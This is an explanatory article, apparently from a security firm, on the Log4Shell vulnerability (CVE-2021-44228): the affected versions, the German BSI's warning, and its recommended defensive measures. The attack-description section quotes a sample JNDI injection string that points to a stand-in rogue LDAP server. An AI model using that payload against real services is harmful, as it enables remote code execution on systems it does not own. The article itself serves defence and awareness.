Log4j - Critical Zero-Day Vulnerability in Logging Library

Vulnerability in Log4j is a Threat to Apps and Servers

The Log4Shell zero-day vulnerability is considered to be highly security-critical. It allows attackers to execute arbitrary code in the widely used Java logging library. The problem with this is that Log4j is widely used and even services like Amazon, Apple, Steam and Twitter use it. However, these are just the really big names - in fact, experts suspect that the gap affects many smaller services as well. Important: Admins absolutely have to take action! The current proof-of-concept code demonstrates how attackers can exploit this Log4j zero-day gap. The first attacks have already been announced. The case study GraphQL also shows that urgent action must be taken in the case of such zero-day attacks. According to the OWASP Top Ten, it provides cybercriminals with some of the most important security vulnerabilities. The same is true for the PrintNightmare, which recently sent many companies into a tizzy. Both show that regular pentests and increased IT security are imperative for companies. Similar to the PrintNightmare or GraphQL case study, attackers use manipulated requests for their own purposes. They send these to a vulnerable server or app. In the case of Log4j, a string then appears in the log. This causes the Java Steam Bot, for example, to accept data from potentially malicious Java classes. Since the server in question is controlled by the attacker himself, he manages to hijack the foreign server in this way. Due to the scope of the Log4J vulnerability, the German Federal Office for Information Security (BSI) warns with the highest warning level. The reason for this is, among other things, that the actual significance of the problem is not yet known. Since hackers are currently actively using it, there is an acute need for companies to take action.

This is what the BSI says the Issue is

The BSI has published a detailed statement about the dangerous Log4j vulnerability. In it, the federal agency warns of the consequences of attacking the popular logging library. It allows attackers to execute their own source code in the target system. The result is compromising the affected server.

The proof-of-concept code is available on GitHub and was shared on Twitter under TWI2021. Other examples also show how vulnerable the vulnerabilities in Log4j make it to attacks. At the same time, however, scripts are available that can be used to examine one's own log files for vulnerabilities. However, they do not provide one hundred percent security and should not replace regular pentests under any circumstances. Ultimately, such security measures help to close security gaps as sustainably as possible. According to the BSI, an important factor is that the Log4j problem could eventually extend to the Internet: Once Java applications are accessible via the Internet, these programs could also be at risk. And that is if you log parts of the user request via Log4j.

This Log4j Version is Affected by the Vulnerability

Affected by the Log4j vulnerability are versions 2.0-beta9 up to and including 2.14.1. With the newly released version 2.15.0, the Apache project has closed the vulnerability in the short term. With an update to the latest version, the danger is therefore no longer present. However, the Apache developers have also published measures that can be used to completely fix the problem. However, without the update to the latest version. These adjustments affect the lookups in particular. Meanwhile, it is known that not only the 2 versions of Log4j are affected. Version 1 can also be used for such attacks under certain circumstances. Users who still rely on this version must therefore act. Since version 1 is already end-of-life, i.e. no longer officially maintained, there is no pending security update.

Description of the Attack with Steps to Fix

The vulnerability results from the way log messages are handled by the log4j processor. If an attacker sends a specially crafted message (it contains a string like ${jndi:ldap://rogueldapserver.com/a}), this can lead to loading an external code class or message lookup and executing that code, resulting in a situation known as Remote Code Execution (RCE). The following image describes the attack and defenses.

Source - Computer Emergency Response Team (GovCERT) of the Swiss government.

The zero-day Vulnerability already has a CVE Number

Due to the precarious situation and potential damage caused by the Log4j issue, the zero-day vulnerability has already received a CVE number: CVE-2021-44228. Its risk is rated critical because numerous services and applications use the library.

The BSI Assigns the Log4j Vulnerability a Level 4/red

Since numerous Java-based applications are built on Log4j, exploitation of this vulnerability is very likely. At the same time, patch management in this type of apps is far from trivial. Therefore, it is important to rely on short-term migration until an update is available. The fact that the BSI has declared level 4 already shows how critical the situation actually is. The reason for this is that even systems that are set up in compliance with basic protection are not completely immune to an attack. If a normal attack should fail, there are other ways to still successfully implement the plan. In this case, the complexity of the individual systems is the biggest obstacle for companies that want to increase their security. Even when the budget for web security is set very high. According to the BSI, the threat landscape is particularly vulnerable in the areas of applications and business processes. While widespread scans are repeatedly used, systems and apps remain vulnerable to subsequent infections. The reason to date is a lack of patches and timely response and detection capabilities within IT sectors.

The actual Extent of the Log4j Vulnerability is yet to be Seen

The dangerous thing about the Log4j issue, also known as Log4Shell, is that it is not just individual applications that are affected. In fact, a majority of servers on the Internet could be affected by the current vulnerability. This means that the gap does not only affect individual servers: even applications accessible via the Internet that log user requests via Log4j would be at risk. Accordingly, the problem also affects the special electronic lawyer mailbox (BeA). The same applies to the Java Steam Bot. Companies that use this technology in their applications should therefore act as quickly as possible.

The BSI Recommends the following Measures

The BSI stresses the importance of reducing the attack surface within vulnerable systems as quickly as possible. The Federal Office justifies this recommendation by stating that reloading malicious code is not essential for exploiting the vulnerability. A single request is enough to open the gates for cybercriminals. According to the BSI, the following measures are particularly recommended:

• Systems that are not absolutely necessary should be temporarily shut down. Connections that are not urgently needed should also be blocked.
• Anomaly detection is to be carried out on the host. In this course, it is worth checking what rights the affected services have. It is also useful to reduce the permissions to a minimum.
• Incoming and outgoing connections are to be subjected to comprehensive logging and extensive logging. This makes it easier to detect a compromise after the fact.
• It makes sense to separate connections to other systems. For systems that were patched after the vulnerability became known, additional examinations are necessary. These examinations must determine if the systems have already been compromised. This applies not only to systems that are directly connected to the Internet.
• Web application firewalls, reverse proxies connections and intrusive prevention systems should be rejected directly if they show attack patterns. It may also be useful to set HTTP headers to static values if they are not absolutely required.